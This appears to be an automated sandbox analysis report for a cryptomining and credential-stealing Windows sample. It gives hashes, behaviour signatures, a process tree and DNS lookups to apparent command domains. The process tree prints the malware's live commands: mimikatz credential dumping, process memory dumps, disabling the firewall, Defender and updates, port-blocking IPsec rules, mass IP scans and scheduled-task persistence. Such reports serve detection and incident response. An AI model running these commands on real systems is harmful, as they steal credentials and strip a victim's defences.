Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    150s
  • max time network
    154s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    11/10/2024, 14:25 UTC

General

  • Target

    2024-10-11_4597607970be4708bc6b5c6a7dc99ac4_hacktools_icedid_mimikatz.exe

  • Size

    8.5MB

  • MD5

    4597607970be4708bc6b5c6a7dc99ac4

  • SHA1

    b6531a71472864b4f30a75529cb7b6388cff3a7f

  • SHA256

    e5f3ff99a6b147dd1279a38109a04bcd822a89d0681885389e69b157dbd7d5e1

  • SHA512

    9d917cc1e3b9c557b844b8907fd6faaf9407f2d2196a57c4579528423b3bff2c2dbb2b8b295fa9addc87aa129b99131894f71221b48961698787865f7b1ef74f

  • SSDEEP

    98304:YmBtyYXmknGzZr+HdO5SEPFtmOZ9G1Md5v/nZVnivsAl0eXTBJYa5roSCaa:I6mknGzwHdOgEPHd9BbX/nivPlTXTYr

Malware Config

Signatures

  • Disables service(s) 3 TTPs
  • Mimikatz

    mimikatz is an open source tool to dump credentials on Windows.

  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Contacts a large (18048) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • OS Credential Dumping: LSASS Memory 1 TTPs

    Malicious access to Credentials History.

  • XMRig Miner payload 10 IoCs
  • mimikatz is an open source tool to dump credentials on Windows 8 IoCs
  • Drops file in Drivers directory 2 IoCs
  • Event Triggered Execution: Image File Execution Options Injection 1 TTPs 40 IoCs
  • Modifies Windows Firewall 2 TTPs 2 IoCs
  • Executes dropped EXE 19 IoCs
  • Loads dropped DLL 25 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Network Share Discovery 1 TTPs

    Attempt to gather information on host network.

  • Creates a Windows Service
  • Drops file in System32 directory 12 IoCs
  • UPX packed file 32 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in Program Files directory 3 IoCs
  • Drops file in Windows directory 60 IoCs
  • Launches sc.exe 4 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 51 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • NSIS installer 3 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry class 14 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
  • Runs net.exe
  • Runs ping.exe 1 TTPs 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: CmdExeWriteProcessMemorySpam 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 31 IoCs
  • Suspicious behavior: RenamesItself 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 23 IoCs
  • Suspicious use of SetWindowsHookEx 12 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\System32\spoolsv.exe
    C:\Windows\System32\spoolsv.exe
    1⤵
      PID:1004
      • C:\Windows\TEMP\qbiqevuaz\ebvheg.exe
        "C:\Windows\TEMP\qbiqevuaz\ebvheg.exe"
        2⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        PID:2928
    • C:\Users\Admin\AppData\Local\Temp\2024-10-11_4597607970be4708bc6b5c6a7dc99ac4_hacktools_icedid_mimikatz.exe
      "C:\Users\Admin\AppData\Local\Temp\2024-10-11_4597607970be4708bc6b5c6a7dc99ac4_hacktools_icedid_mimikatz.exe"
      1⤵
      • Drops file in Windows directory
      • Suspicious behavior: RenamesItself
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:2228
      • C:\Windows\SysWOW64\cmd.exe
        cmd /c ping 127.0.0.1 -n 5 & Start C:\Windows\hzmtlgsy\ezhglhb.exe
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • System Network Configuration Discovery: Internet Connection Discovery
        • Suspicious use of WriteProcessMemory
        PID:2100
        • C:\Windows\SysWOW64\PING.EXE
          ping 127.0.0.1 -n 5
          3⤵
          • System Network Configuration Discovery: Internet Connection Discovery
          • Runs ping.exe
          PID:2204
        • C:\Windows\hzmtlgsy\ezhglhb.exe
          C:\Windows\hzmtlgsy\ezhglhb.exe
          3⤵
          • Executes dropped EXE
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of SetWindowsHookEx
          PID:1032
    • C:\Windows\hzmtlgsy\ezhglhb.exe
      C:\Windows\hzmtlgsy\ezhglhb.exe
      1⤵
      • Suspicious use of NtCreateUserProcessOtherParentProcess
      • Drops file in Drivers directory
      • Event Triggered Execution: Image File Execution Options Injection
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in System32 directory
      • Drops file in Windows directory
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Modifies registry class
      • Modifies system certificate store
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:2032
      • C:\Windows\SysWOW64\cmd.exe
        cmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
        2⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:1512
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /S /D /c" echo Y"
          3⤵
            PID:2304
          • C:\Windows\SysWOW64\cacls.exe
            cacls C:\Windows\system32\drivers\etc\hosts /T /D users
            3⤵
            • System Location Discovery: System Language Discovery
            PID:2300
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /S /D /c" echo Y"
            3⤵
            • System Location Discovery: System Language Discovery
            PID:2776
          • C:\Windows\SysWOW64\cacls.exe
            cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators
            3⤵
            • System Location Discovery: System Language Discovery
            PID:2792
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /S /D /c" echo Y"
            3⤵
              PID:2804
            • C:\Windows\SysWOW64\cacls.exe
              cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
              3⤵
              • System Location Discovery: System Language Discovery
              PID:2824
          • C:\Windows\SysWOW64\netsh.exe
            netsh ipsec static del all
            2⤵
            • Event Triggered Execution: Netsh Helper DLL
            • Modifies data under HKEY_USERS
            PID:2360
          • C:\Windows\SysWOW64\netsh.exe
            netsh ipsec static add policy name=Bastards description=FuckingBastards
            2⤵
            • Event Triggered Execution: Netsh Helper DLL
            • System Location Discovery: System Language Discovery
            • Modifies data under HKEY_USERS
            PID:2580
          • C:\Windows\SysWOW64\netsh.exe
            netsh ipsec static add filteraction name=BastardsList action=block
            2⤵
            • Event Triggered Execution: Netsh Helper DLL
            • System Location Discovery: System Language Discovery
            PID:3016
          • C:\Windows\SysWOW64\cmd.exe
            cmd /c C:\Windows\luqeipyhy\mqugtegqu\wpcap.exe /S
            2⤵
            • Loads dropped DLL
            • Suspicious use of WriteProcessMemory
            PID:1676
            • C:\Windows\luqeipyhy\mqugtegqu\wpcap.exe
              C:\Windows\luqeipyhy\mqugtegqu\wpcap.exe /S
              3⤵
              • Drops file in Drivers directory
              • Executes dropped EXE
              • Loads dropped DLL
              • Drops file in System32 directory
              • Drops file in Program Files directory
              • System Location Discovery: System Language Discovery
              • Suspicious use of WriteProcessMemory
              PID:352
              • C:\Windows\SysWOW64\net.exe
                net stop "Boundary Meter"
                4⤵
                • System Location Discovery: System Language Discovery
                PID:1648
                • C:\Windows\SysWOW64\net1.exe
                  C:\Windows\system32\net1 stop "Boundary Meter"
                  5⤵
                  • System Location Discovery: System Language Discovery
                  PID:2028
              • C:\Windows\SysWOW64\net.exe
                net stop "TrueSight Meter"
                4⤵
                • System Location Discovery: System Language Discovery
                PID:1272
                • C:\Windows\SysWOW64\net1.exe
                  C:\Windows\system32\net1 stop "TrueSight Meter"
                  5⤵
                  • System Location Discovery: System Language Discovery
                  PID:1440
              • C:\Windows\SysWOW64\net.exe
                net stop npf
                4⤵
                • System Location Discovery: System Language Discovery
                PID:1284
                • C:\Windows\SysWOW64\net1.exe
                  C:\Windows\system32\net1 stop npf
                  5⤵
                  • System Location Discovery: System Language Discovery
                  PID:2636
              • C:\Windows\SysWOW64\net.exe
                net start npf
                4⤵
                • System Location Discovery: System Language Discovery
                PID:2916
                • C:\Windows\SysWOW64\net1.exe
                  C:\Windows\system32\net1 start npf
                  5⤵
                  • System Location Discovery: System Language Discovery
                  PID:1904
          • C:\Windows\SysWOW64\cmd.exe
            cmd /c net start npf
            2⤵
            • System Location Discovery: System Language Discovery
            PID:2912
            • C:\Windows\SysWOW64\net.exe
              net start npf
              3⤵
              • System Location Discovery: System Language Discovery
              PID:1628
              • C:\Windows\SysWOW64\net1.exe
                C:\Windows\system32\net1 start npf
                4⤵
                • System Location Discovery: System Language Discovery
                PID:1624
          • C:\Windows\SysWOW64\cmd.exe
            cmd /c net start npf
            2⤵
            • System Location Discovery: System Language Discovery
            PID:1124
            • C:\Windows\SysWOW64\net.exe
              net start npf
              3⤵
              • System Location Discovery: System Language Discovery
              PID:2752
              • C:\Windows\SysWOW64\net1.exe
                C:\Windows\system32\net1 start npf
                4⤵
                • System Location Discovery: System Language Discovery
                PID:2432
          • C:\Windows\SysWOW64\cmd.exe
            cmd /c C:\Windows\luqeipyhy\mqugtegqu\qypvugsbs.exe -p 80 222.186.128.1-222.186.255.255 --rate=512 -oJ C:\Windows\luqeipyhy\mqugtegqu\Scant.txt
            2⤵
            • Loads dropped DLL
            PID:644
            • C:\Windows\luqeipyhy\mqugtegqu\qypvugsbs.exe
              C:\Windows\luqeipyhy\mqugtegqu\qypvugsbs.exe -p 80 222.186.128.1-222.186.255.255 --rate=512 -oJ C:\Windows\luqeipyhy\mqugtegqu\Scant.txt
              3⤵
              • Executes dropped EXE
              • Loads dropped DLL
              PID:1852
          • C:\Windows\SysWOW64\cmd.exe
            cmd /c C:\Windows\luqeipyhy\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit >> C:\Windows\luqeipyhy\Corporate\log.txt
            2⤵
            • Loads dropped DLL
            • Drops file in Windows directory
            • System Location Discovery: System Language Discovery
            PID:972
            • C:\Windows\luqeipyhy\Corporate\vfshost.exe
              C:\Windows\luqeipyhy\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit
              3⤵
              • Executes dropped EXE
              • Suspicious use of AdjustPrivilegeToken
              PID:1792
          • C:\Windows\SysWOW64\cmd.exe
            cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "cbmglbldg" /ru system /tr "cmd /c C:\Windows\ime\ezhglhb.exe"
            2⤵
              PID:2532
              • C:\Windows\SysWOW64\cmd.exe
                C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                3⤵
                • System Location Discovery: System Language Discovery
                PID:2488
              • C:\Windows\SysWOW64\schtasks.exe
                schtasks /create /sc minute /mo 1 /tn "cbmglbldg" /ru system /tr "cmd /c C:\Windows\ime\ezhglhb.exe"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:2460
            • C:\Windows\SysWOW64\cmd.exe
              cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "zgrwhzgcg" /ru system /tr "cmd /c echo Y|cacls C:\Windows\hzmtlgsy\ezhglhb.exe /p everyone:F"
              2⤵
              • System Location Discovery: System Language Discovery
              PID:1488
              • C:\Windows\SysWOW64\cmd.exe
                C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                3⤵
                • System Location Discovery: System Language Discovery
                PID:2292
              • C:\Windows\SysWOW64\schtasks.exe
                schtasks /create /sc minute /mo 1 /tn "zgrwhzgcg" /ru system /tr "cmd /c echo Y|cacls C:\Windows\hzmtlgsy\ezhglhb.exe /p everyone:F"
                3⤵
                • System Location Discovery: System Language Discovery
                • Scheduled Task/Job: Scheduled Task
                PID:2204
            • C:\Windows\SysWOW64\cmd.exe
              cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "lzbevcqgg" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\qbiqevuaz\ebvheg.exe /p everyone:F"
              2⤵
              • System Location Discovery: System Language Discovery
              PID:872
              • C:\Windows\SysWOW64\cmd.exe
                C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                3⤵
                  PID:2020
                • C:\Windows\SysWOW64\schtasks.exe
                  schtasks /create /sc minute /mo 1 /tn "lzbevcqgg" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\qbiqevuaz\ebvheg.exe /p everyone:F"
                  3⤵
                  • System Location Discovery: System Language Discovery
                  • Scheduled Task/Job: Scheduled Task
                  PID:1032
              • C:\Windows\SysWOW64\netsh.exe
                netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=TCP
                2⤵
                • Event Triggered Execution: Netsh Helper DLL
                • System Location Discovery: System Language Discovery
                PID:768
              • C:\Windows\SysWOW64\netsh.exe
                netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=UDP
                2⤵
                • Event Triggered Execution: Netsh Helper DLL
                • System Location Discovery: System Language Discovery
                • Modifies data under HKEY_USERS
                PID:2240
              • C:\Windows\SysWOW64\netsh.exe
                netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
                2⤵
                • Event Triggered Execution: Netsh Helper DLL
                • System Location Discovery: System Language Discovery
                • Modifies data under HKEY_USERS
                PID:2948
              • C:\Windows\SysWOW64\netsh.exe
                netsh ipsec static set policy name=Bastards assign=y
                2⤵
                • Event Triggered Execution: Netsh Helper DLL
                • System Location Discovery: System Language Discovery
                PID:2088
              • C:\Windows\SysWOW64\netsh.exe
                netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=TCP
                2⤵
                • Event Triggered Execution: Netsh Helper DLL
                • Modifies data under HKEY_USERS
                PID:2164
              • C:\Windows\SysWOW64\netsh.exe
                netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=UDP
                2⤵
                • Event Triggered Execution: Netsh Helper DLL
                • System Location Discovery: System Language Discovery
                PID:2748
              • C:\Windows\SysWOW64\netsh.exe
                netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
                2⤵
                • Event Triggered Execution: Netsh Helper DLL
                • System Location Discovery: System Language Discovery
                PID:2608
              • C:\Windows\SysWOW64\netsh.exe
                netsh ipsec static set policy name=Bastards assign=y
                2⤵
                • Event Triggered Execution: Netsh Helper DLL
                • System Location Discovery: System Language Discovery
                • Modifies data under HKEY_USERS
                PID:536
              • C:\Windows\SysWOW64\netsh.exe
                netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=TCP
                2⤵
                • Event Triggered Execution: Netsh Helper DLL
                • System Location Discovery: System Language Discovery
                • Modifies data under HKEY_USERS
                PID:1608
              • C:\Windows\SysWOW64\netsh.exe
                netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=UDP
                2⤵
                • Event Triggered Execution: Netsh Helper DLL
                • System Location Discovery: System Language Discovery
                • Modifies data under HKEY_USERS
                PID:316
              • C:\Windows\SysWOW64\netsh.exe
                netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
                2⤵
                • Event Triggered Execution: Netsh Helper DLL
                • System Location Discovery: System Language Discovery
                • Modifies data under HKEY_USERS
                PID:1700
              • C:\Windows\SysWOW64\netsh.exe
                netsh ipsec static set policy name=Bastards assign=y
                2⤵
                • Event Triggered Execution: Netsh Helper DLL
                • System Location Discovery: System Language Discovery
                PID:1148
              • C:\Windows\SysWOW64\cmd.exe
                cmd /c net stop SharedAccess
                2⤵
                • System Location Discovery: System Language Discovery
                PID:2644
                • C:\Windows\SysWOW64\net.exe
                  net stop SharedAccess
                  3⤵
                    PID:324
                    • C:\Windows\SysWOW64\net1.exe
                      C:\Windows\system32\net1 stop SharedAccess
                      4⤵
                      • System Location Discovery: System Language Discovery
                      PID:3008
                • C:\Windows\SysWOW64\cmd.exe
                  cmd /c netsh firewall set opmode mode=disable
                  2⤵
                  • System Location Discovery: System Language Discovery
                  PID:1780
                  • C:\Windows\SysWOW64\netsh.exe
                    netsh firewall set opmode mode=disable
                    3⤵
                    • Modifies Windows Firewall
                    • Event Triggered Execution: Netsh Helper DLL
                    • System Location Discovery: System Language Discovery
                    • Modifies data under HKEY_USERS
                    PID:1812
                • C:\Windows\SysWOW64\cmd.exe
                  cmd /c netsh Advfirewall set allprofiles state off
                  2⤵
                    PID:3012
                    • C:\Windows\SysWOW64\netsh.exe
                      netsh Advfirewall set allprofiles state off
                      3⤵
                      • Modifies Windows Firewall
                      • Event Triggered Execution: Netsh Helper DLL
                      • System Location Discovery: System Language Discovery
                      PID:2920
                  • C:\Windows\SysWOW64\cmd.exe
                    cmd /c net stop MpsSvc
                    2⤵
                    • System Location Discovery: System Language Discovery
                    PID:1916
                    • C:\Windows\SysWOW64\net.exe
                      net stop MpsSvc
                      3⤵
                        PID:1216
                        • C:\Windows\SysWOW64\net1.exe
                          C:\Windows\system32\net1 stop MpsSvc
                          4⤵
                          • System Location Discovery: System Language Discovery
                          PID:2000
                    • C:\Windows\SysWOW64\cmd.exe
                      cmd /c net stop WinDefend
                      2⤵
                      • System Location Discovery: System Language Discovery
                      PID:344
                      • C:\Windows\SysWOW64\net.exe
                        net stop WinDefend
                        3⤵
                        • System Location Discovery: System Language Discovery
                        PID:1052
                        • C:\Windows\SysWOW64\net1.exe
                          C:\Windows\system32\net1 stop WinDefend
                          4⤵
                          • System Location Discovery: System Language Discovery
                          PID:1384
                    • C:\Windows\SysWOW64\cmd.exe
                      cmd /c net stop wuauserv
                      2⤵
                      • System Location Discovery: System Language Discovery
                      PID:1712
                      • C:\Windows\SysWOW64\net.exe
                        net stop wuauserv
                        3⤵
                          PID:1236
                          • C:\Windows\SysWOW64\net1.exe
                            C:\Windows\system32\net1 stop wuauserv
                            4⤵
                            • System Location Discovery: System Language Discovery
                            PID:1660
                      • C:\Windows\SysWOW64\cmd.exe
                        cmd /c sc config MpsSvc start= disabled
                        2⤵
                        • System Location Discovery: System Language Discovery
                        PID:1624
                        • C:\Windows\SysWOW64\sc.exe
                          sc config MpsSvc start= disabled
                          3⤵
                          • Launches sc.exe
                          • System Location Discovery: System Language Discovery
                          PID:628
                      • C:\Windows\SysWOW64\cmd.exe
                        cmd /c sc config SharedAccess start= disabled
                        2⤵
                        • System Location Discovery: System Language Discovery
                        PID:884
                        • C:\Windows\SysWOW64\sc.exe
                          sc config SharedAccess start= disabled
                          3⤵
                          • Launches sc.exe
                          • System Location Discovery: System Language Discovery
                          PID:1852
                      • C:\Windows\SysWOW64\cmd.exe
                        cmd /c sc config WinDefend start= disabled
                        2⤵
                        • System Location Discovery: System Language Discovery
                        PID:1304
                        • C:\Windows\SysWOW64\sc.exe
                          sc config WinDefend start= disabled
                          3⤵
                          • Launches sc.exe
                          • System Location Discovery: System Language Discovery
                          PID:1128
                      • C:\Windows\SysWOW64\cmd.exe
                        cmd /c sc config wuauserv start= disabled
                        2⤵
                        • System Location Discovery: System Language Discovery
                        PID:2752
                        • C:\Windows\SysWOW64\sc.exe
                          sc config wuauserv start= disabled
                          3⤵
                          • Launches sc.exe
                          PID:492
                      • C:\Windows\TEMP\xohudmc.exe
                        C:\Windows\TEMP\xohudmc.exe
                        2⤵
                        • Executes dropped EXE
                        • Drops file in System32 directory
                        • System Location Discovery: System Language Discovery
                        • Suspicious use of SetWindowsHookEx
                        PID:1576
                      • C:\Windows\TEMP\luqeipyhy\bzbucveta.exe
                        C:\Windows\TEMP\luqeipyhy\bzbucveta.exe -accepteula -mp 1004 C:\Windows\TEMP\luqeipyhy\1004.dmp
                        2⤵
                        • Executes dropped EXE
                        • Modifies data under HKEY_USERS
                        • Suspicious use of AdjustPrivilegeToken
                        PID:2252
                      • C:\Windows\TEMP\luqeipyhy\bzbucveta.exe
                        C:\Windows\TEMP\luqeipyhy\bzbucveta.exe -accepteula -mp 1104 C:\Windows\TEMP\luqeipyhy\1104.dmp
                        2⤵
                        • Executes dropped EXE
                        • Modifies data under HKEY_USERS
                        • Suspicious use of AdjustPrivilegeToken
                        PID:2292
                      • C:\Windows\TEMP\luqeipyhy\bzbucveta.exe
                        C:\Windows\TEMP\luqeipyhy\bzbucveta.exe -accepteula -mp 1164 C:\Windows\TEMP\luqeipyhy\1164.dmp
                        2⤵
                        • Executes dropped EXE
                        • Modifies data under HKEY_USERS
                        • Suspicious use of AdjustPrivilegeToken
                        PID:2240
                      • C:\Windows\TEMP\luqeipyhy\bzbucveta.exe
                        C:\Windows\TEMP\luqeipyhy\bzbucveta.exe -accepteula -mp 1228 C:\Windows\TEMP\luqeipyhy\1228.dmp
                        2⤵
                        • Executes dropped EXE
                        • Modifies data under HKEY_USERS
                        • Suspicious use of AdjustPrivilegeToken
                        PID:2064
                      • C:\Windows\TEMP\luqeipyhy\bzbucveta.exe
                        C:\Windows\TEMP\luqeipyhy\bzbucveta.exe -accepteula -mp 1612 C:\Windows\TEMP\luqeipyhy\1612.dmp
                        2⤵
                        • Executes dropped EXE
                        • Modifies data under HKEY_USERS
                        • Suspicious use of AdjustPrivilegeToken
                        PID:2852
                      • C:\Windows\TEMP\luqeipyhy\bzbucveta.exe
                        C:\Windows\TEMP\luqeipyhy\bzbucveta.exe -accepteula -mp 876 C:\Windows\TEMP\luqeipyhy\876.dmp
                        2⤵
                        • Executes dropped EXE
                        • Modifies data under HKEY_USERS
                        • Suspicious use of AdjustPrivilegeToken
                        PID:2744
                      • C:\Windows\TEMP\luqeipyhy\bzbucveta.exe
                        C:\Windows\TEMP\luqeipyhy\bzbucveta.exe -accepteula -mp 2964 C:\Windows\TEMP\luqeipyhy\2964.dmp
                        2⤵
                        • Executes dropped EXE
                        • Modifies data under HKEY_USERS
                        • Suspicious use of AdjustPrivilegeToken
                        PID:1800
                      • C:\Windows\TEMP\luqeipyhy\bzbucveta.exe
                        C:\Windows\TEMP\luqeipyhy\bzbucveta.exe -accepteula -mp 2236 C:\Windows\TEMP\luqeipyhy\2236.dmp
                        2⤵
                        • Executes dropped EXE
                        • Modifies data under HKEY_USERS
                        • Suspicious use of AdjustPrivilegeToken
                        PID:1988
                      • C:\Windows\SysWOW64\cmd.exe
                        cmd.exe /c C:\Windows\luqeipyhy\mqugtegqu\scan.bat
                        2⤵
                        • Loads dropped DLL
                        PID:1356
                        • C:\Windows\luqeipyhy\mqugtegqu\tngpwuarc.exe
                          tngpwuarc.exe TCP 138.199.0.1 138.199.255.255 7001 512 /save
                          3⤵
                          • Executes dropped EXE
                          • Drops file in Windows directory
                          • System Location Discovery: System Language Discovery
                          PID:1712
                    • C:\Windows\system32\svchost.exe
                      C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted
                      1⤵
                      • Suspicious use of AdjustPrivilegeToken
                      PID:1552
                    • C:\Windows\SysWOW64\huzbeq.exe
                      C:\Windows\SysWOW64\huzbeq.exe
                      1⤵
                      • Executes dropped EXE
                      • System Location Discovery: System Language Discovery
                      • Suspicious use of SetWindowsHookEx
                      PID:1524
                    • C:\Windows\system32\taskeng.exe
                      taskeng.exe {760AE2CB-6B5C-4DC1-9177-2DD533B93AE6} S-1-5-18:NT AUTHORITY\System:Service:
                      1⤵
                        PID:2028
                        • C:\Windows\system32\cmd.EXE
                          C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\TEMP\qbiqevuaz\ebvheg.exe /p everyone:F
                          2⤵
                            PID:2564
                            • C:\Windows\system32\cmd.exe
                              C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                              3⤵
                                PID:1284
                              • C:\Windows\system32\cacls.exe
                                cacls C:\Windows\TEMP\qbiqevuaz\ebvheg.exe /p everyone:F
                                3⤵
                                  PID:1708
                              • C:\Windows\system32\cmd.EXE
                                C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\hzmtlgsy\ezhglhb.exe /p everyone:F
                                2⤵
                                  PID:1440
                                  • C:\Windows\system32\cmd.exe
                                    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                                    3⤵
                                      PID:2152
                                    • C:\Windows\system32\cacls.exe
                                      cacls C:\Windows\hzmtlgsy\ezhglhb.exe /p everyone:F
                                      3⤵
                                        PID:2876
                                    • C:\Windows\system32\cmd.EXE
                                      C:\Windows\system32\cmd.EXE /c C:\Windows\ime\ezhglhb.exe
                                      2⤵
                                        PID:1152
                                        • C:\Windows\ime\ezhglhb.exe
                                          C:\Windows\ime\ezhglhb.exe
                                          3⤵
                                          • Executes dropped EXE
                                          • Suspicious behavior: CmdExeWriteProcessMemorySpam
                                          • Suspicious use of SetWindowsHookEx
                                          PID:2908
                                      • C:\Windows\system32\cmd.EXE
                                        C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\TEMP\qbiqevuaz\ebvheg.exe /p everyone:F
                                        2⤵
                                          PID:2564
                                          • C:\Windows\system32\cmd.exe
                                            C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                                            3⤵
                                              PID:3032
                                            • C:\Windows\system32\cacls.exe
                                              cacls C:\Windows\TEMP\qbiqevuaz\ebvheg.exe /p everyone:F
                                              3⤵
                                                PID:904
                                            • C:\Windows\system32\cmd.EXE
                                              C:\Windows\system32\cmd.EXE /c C:\Windows\ime\ezhglhb.exe
                                              2⤵
                                                PID:2536
                                                • C:\Windows\ime\ezhglhb.exe
                                                  C:\Windows\ime\ezhglhb.exe
                                                  3⤵
                                                  • Executes dropped EXE
                                                  • Suspicious behavior: CmdExeWriteProcessMemorySpam
                                                  • Suspicious use of SetWindowsHookEx
                                                  PID:3452
                                              • C:\Windows\system32\cmd.EXE
                                                C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\hzmtlgsy\ezhglhb.exe /p everyone:F
                                                2⤵
                                                  PID:1976
                                                  • C:\Windows\system32\cmd.exe
                                                    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                                                    3⤵
                                                      PID:3288
                                                    • C:\Windows\system32\cacls.exe
                                                      cacls C:\Windows\hzmtlgsy\ezhglhb.exe /p everyone:F
                                                      3⤵
                                                        PID:3724

                                                  Network

                                                  • flag-us
                                                    DNS
                                                    uio.hognoob.se
                                                    ezhglhb.exe
                                                    Remote address:
                                                    8.8.8.8:53
                                                    Request
                                                    uio.hognoob.se
                                                    IN A
                                                    Response
                                                  • flag-us
                                                    DNS
                                                    uio.heroherohero.info
                                                    ezhglhb.exe
                                                    Remote address:
                                                    8.8.8.8:53
                                                    Request
                                                    uio.heroherohero.info
                                                    IN A
                                                    Response
                                                    uio.heroherohero.info
                                                    IN A
                                                    114.55.89.54
                                                  • flag-us
                                                    DNS
                                                    2019.ip138.com
                                                    ezhglhb.exe
                                                    Remote address:
                                                    8.8.8.8:53
                                                    Request
                                                    2019.ip138.com
                                                    IN A
                                                    Response
                                                    2019.ip138.com
                                                    IN CNAME
                                                    waf.ip138.com
                                                    waf.ip138.com
                                                    IN A
                                                    59.57.14.11
                                                    waf.ip138.com
                                                    IN A
                                                    110.81.155.138
                                                    waf.ip138.com
                                                    IN A
                                                    59.57.13.133
                                                    waf.ip138.com
                                                    IN A
                                                    110.81.155.137
                                                    waf.ip138.com
                                                    IN A
                                                    59.57.13.182
                                                  • flag-us
                                                    DNS
                                                    2019.ip138.com
                                                    ezhglhb.exe
                                                    Remote address:
                                                    8.8.8.8:53
                                                    Request
                                                    2019.ip138.com
                                                    IN A
                                                  • flag-us
                                                    DNS
                                                    haq.hognoob.se
                                                    huzbeq.exe
                                                    Remote address:
                                                    8.8.8.8:53
                                                    Request
                                                    haq.hognoob.se
                                                    IN A
                                                    Response
                                                  • flag-us
                                                    DNS
                                                    pxi.hognoob.se
                                                    ebvheg.exe
                                                    Remote address:
                                                    8.8.8.8:53
                                                    Request
                                                    pxi.hognoob.se
                                                    IN A
                                                    Response
                                                  • flag-us
                                                    DNS
                                                    pxx.hognoob.se
                                                    ebvheg.exe
                                                    Remote address:
                                                    8.8.8.8:53
                                                    Request
                                                    pxx.hognoob.se
                                                    IN A
                                                    Response
                                                  • flag-us
                                                    DNS
                                                    ifconfig.me
                                                    ezhglhb.exe
                                                    Remote address:
                                                    8.8.8.8:53
                                                    Request
                                                    ifconfig.me
                                                    IN A
                                                    Response
                                                    ifconfig.me
                                                    IN A
                                                    34.160.111.145
                                                  • flag-us
                                                    GET
                                                    https://ifconfig.me/
                                                    ezhglhb.exe
                                                    Remote address:
                                                    34.160.111.145:443
                                                    Request
